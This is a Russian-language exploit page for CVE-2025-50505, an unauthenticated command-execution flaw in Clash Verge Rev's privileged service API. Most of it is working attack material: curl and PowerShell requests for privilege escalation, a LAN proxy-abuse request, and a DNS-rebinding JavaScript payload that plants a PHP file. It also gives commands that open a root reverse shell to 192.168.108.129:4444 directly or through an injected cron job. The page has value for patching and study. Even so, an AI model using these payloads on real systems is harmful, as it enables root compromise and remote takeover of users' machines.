## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-A0YAMI-CVE-2025-50505
# CVE-2025-50505
Неавторизованный API приводит к произвольному выполнению команд и повышению привилегий в Clash Verge Rev
## Описание
Уязвимость связана с неаутентифицированной конечной точкой API, предоставляемой компонентом clash-verge-service, который по умолчанию устанавливается с повышенными привилегиями. Эта ошибка позволяет атакующему выполнять произвольные команды, что приводит к двум основным сценариям атаки: локальному повышению привилегий (LPE) на хост-машине и удалённому выполнению кода (RCE) при определённых условиях.
Вектор RCE может быть использован атакующими в той же локальной сети (LAN), если пользователь включил LAN-подключения. Более критично то, что атака может быть проведена из публичного интернета путём сочетания уязвимости с атакой DNS Rebinding, что позволяет атакующим обходить политики безопасности браузера и выполнять команды на машине жертвы, просто заставив её посетить вредоносный веб-сайт.
Первое публичное предупреждение об этой уязвимости было сделано @KawaiiZapic в X.
* Затронутое ПО: Clash Verge Rev <= v2.2.3
* Затронутые платформы: Windows, macOS, Linux
* Воздействие: локальное повышение привилегий, удалённое выполнение кода
## Технические подробности
Компонент `clash-verge-service` работает с высокими привилегиями (root или SYSTEM) и предоставляет неаутентифицированный HTTP API на `127.0.0.1:33211`. Уязвимость находится в конечной точке `/start_clash`, которая принимает JSON-нагрузку для управления запуском процесса ядра Mihomo.
Сервис формирует и выполняет команду на основе нескольких параметров из этой нагрузки, следуя структуре, похожей на:
root@kitploit:~
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
Критически важно, что все четыре параметра — `bin_path`, `config_dir`, `config_file` и `log_file` — полностью контролируются атакующим. Хотя Rust обеспечивает встроенную защиту от классической инъекции команд (например, использования `;` или `|` для объединения команд), контроль атакующего над всей структурой команды позволяет провести двухэтапную атаку для достижения произвольного выполнения кода.
### Уязвимые места кода
1. Процесс сервиса прослушивает порт 127.0.0.1:33211 через фреймворк Warp, и для интерфейса `/start_clash` не реализована аутентификация
clash-verge-service/src/service/mod.rs
root@kitploit:~
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
2. `start_clash()` вызывает `start_mihomo()`, а `start_mihomo()` вызывает функцию `process::spawn_process(bin_path, &args, log)`, передавая `bin_path`. `spawn_process()` вызывает `std::Command::new(command)` для выполнения команды
clash-verge-service/src/service/core.rs
root@kitploit:~
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
root@kitploit:~
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
## Вектор эксплуатации 1: локальное повышение привилегий (LPE)
### Linux
1. Создайте вредоносный скрипт (обычный пользователь):
root@kitploit:~
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
2. Отправьте неаутентифицированный запрос:
root@kitploit:~
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

3. Проверьте повышение привилегий:
root@kitploit:~
sudo cat /root/pwned


### Windows
pwn.bat:
root@kitploit:~
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
root@kitploit:~
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

## Вектор эксплуатации 2: удалённое выполнение кода (RCE)
Уязвимость может быть повышена до RCE в двух сценариях.
### Сценарий A: RCE из локальной сети через использование прокси
Если пользователь включил опцию «Allow LAN» (局域网连接) в клиенте Clash Verge Rev, прокси-сервер приложения становится доступен для всех устройств в той же локальной сети. Атакующий в той же LAN может воспользоваться этим, направив свой вредоносный запрос через открытый прокси жертвы.
root@kitploit:~
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
### Сценарий B: RCE из интернета через DNS Rebinding
Более продвинутая атака может быть выполнена из интернета без необходимости доступа к LAN. Цепочка атаки использует DNS Rebinding в сочетании с особым поведением браузера, известным как эксплойт «0.0.0.0-day».
Ключ к этой атаке в том, что Firefox и некоторые версии Chromium обрабатывают IP-адрес `0.0.0.0` как псевдоним `127.0.0.1`. Это позволяет атакующему обходить современные функции безопасности браузера, такие как Same-Origin Policy (SOP) и Private Network Access (PNA).
Ход атаки выглядит следующим образом:
1. Жертва заходит на вредоносный сайт, размещённый на домене, контролируемом атакующим (например, `attacker.com`).
2. DNS-сервер атакующего сначала разрешает `attacker.com` в реальный публичный IP-адрес. Вредоносная страница загружается в браузере жертвы.
3. JavaScript на странице отправляет дальнейшие запросы. В фоне DNS-сервер атакующего меняет IP для `attacker.com` на `0.0.0.0` с очень коротким TTL.
4. Когда срок действия DNS-кэша браузера истекает, он повторно разрешает `attacker.com` и теперь получает `0.0.0.0`.
5. Из-за особенностей поведения браузера запрос не блокируется, а вместо этого отправляется напрямую на `127.0.0.1` на машине жертвы.
Поскольку источником запроса по-прежнему является `attacker.com`, скрипт успешно обходит ограничения безопасности и напрямую взаимодействует с уязвимым API clash-verge-service на `127.0.0.1:33211`, достигая удалённого выполнения кода.
### Доказательство концепции (DNS Rebinding с Singularity)
1. Установите singularity
2. Используйте payload:
root@kitploit:~
/**
* Clash-Verge-Rev payload
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] sent"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
Замените PHP-пробник на любой скриптовый язык, поддерживающий маркеры границ. Если вы хотите получить **root-шелл** , обратитесь к следующему разделу и измените payload.
3. Запустите singularity-server и настройте панель атаки
* `./singularity-server --HTTPServerPort 33211`
* Целевой хост: 0.0.0.0
* Стратегия rebinding: First then second
* Метод атаки: Inline Frame
https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

#### Примечание
Примечание: при настройке `Content-Type` на `application/json` не устанавливайте `no-cors`. `First then second` — более медленный, но более стабильный режим DNS rebinding. Вы также можете выбрать `multiple answers`, но это может быть заблокировано некоторыми публичными DNS-серверами, из-за чего атака завершится неудачей.
## Обратный шелл (LAN)
В macOS и некоторых системах Linux (например, Kali) установлен `zsh`, что позволяет выполнять скрипты с флагами `-d` и `-f`.
root@kitploit:~
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# OR SET UP A CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
### Обсуждение
1. В старых версиях Rust на Windows существует уязвимость инъекции команд CVE-2024-24576. Следовательно, старые сборки Clash Verge Rev, скомпилированные с уязвимым тулчейном Rust, могут быть подвержены более прямому и простому эксплойту обратного шелла. Помимо этой конкретной уязвимости Rust, основная проблема выполнения произвольных процессов также может быть объединена с различными LOLBAS в качестве альтернативного вектора для получения обратного шелла.
2. После сброса лога вывод команды добавляется после строки «Spawning process...». Установка `bin_path` напрямую на скрипт (например, `evil.sh`) приведёт к ошибке. Это связано с тем, что без shebang (`#!/bin/bash`) базовая ОС не может определить, какой интерпретатор использовать. Попытка явно вызвать его через `bash evil.sh` также не сработает, поскольку аргумент `-d`, передаваемый сервисом, будет интерпретирован самим bash как недопустимый параметр.
root@kitploit:~
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
Спасибо @Esonhugh за предложение использовать `zsh` для успешного выполнения команд в этих условиях.
## Ссылки
* DNS Rebinding в браузере
* https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser
* https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps
## Решение
Обновитесь до последней версии.